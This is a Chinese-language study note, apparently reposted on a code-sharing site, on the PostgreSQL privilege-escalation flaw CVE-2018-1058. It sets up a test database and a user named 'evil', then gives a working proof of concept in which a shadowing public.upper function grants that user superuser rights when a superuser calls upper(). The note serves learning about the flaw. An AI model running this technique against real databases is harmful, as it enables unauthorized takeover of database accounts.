PostgreSQL遠程代碼執行漏洞(CVE-2018-1058)學習筆記


零、參考文獻和緒論:

1、先知社區chybeta大神的--PostgreSQL 遠程代碼執行漏洞分析及利用—【CVE-2018-1058】--一文

2、博客園hunchill的--Mac 下 PostgreSQL 的安裝與使用--一文

一、PostgreSQL環境搭建:

在mac上面安裝postgresql並啟動postgresql

1 brew install postgresql
2 brew services start postgresql

二、創建用戶配置環境:

1、初始化數據庫,忘記在安裝中還是初始化中,生成了超級用戶,我的超級用戶是hostname,這里使用bobac代替

1 brew services stop postgresql
2 initdb /usr/local/var/postgres -E utf8
3 brew services start postgresql

2、創建普通用戶

1 createuser evil -P

3、創建數據庫:

1 createdb evil -O evil -E UTF8 -e

三、原理分析介紹:

  這個漏洞的原理就是在public空間上重載函數,加入惡意的程序代碼。等待其他賬戶,尤其是高權限賬戶調用這個函數的時候,就會執行惡意代碼(以高權限執行)從而達到遠程惡意代碼執行的目的。

四、過程舉例(參考)

1、創建表並插入數據(evil權限執行):

1 CREATE TABLE public.hehehehe AS SELECT 'evil'::varchar AS contents;

2、定義函數(evil權限執行):

1 CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$
2     ALTER ROLE evil SUPERUSER;
3     SELECT pg_catalog.upper($1);
4 $$ LANGUAGE SQL VOLATILE;

3、查詢時候使用upper函數(bobac權限執行)

1 SELECT upper(contents) FROM hehehehe;

此時就執行了ALTER ROLE evil SUPERUSER;

4、然后查看用戶權限:

1 SELECT rolname,rolsuper FROM pg_roles;

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM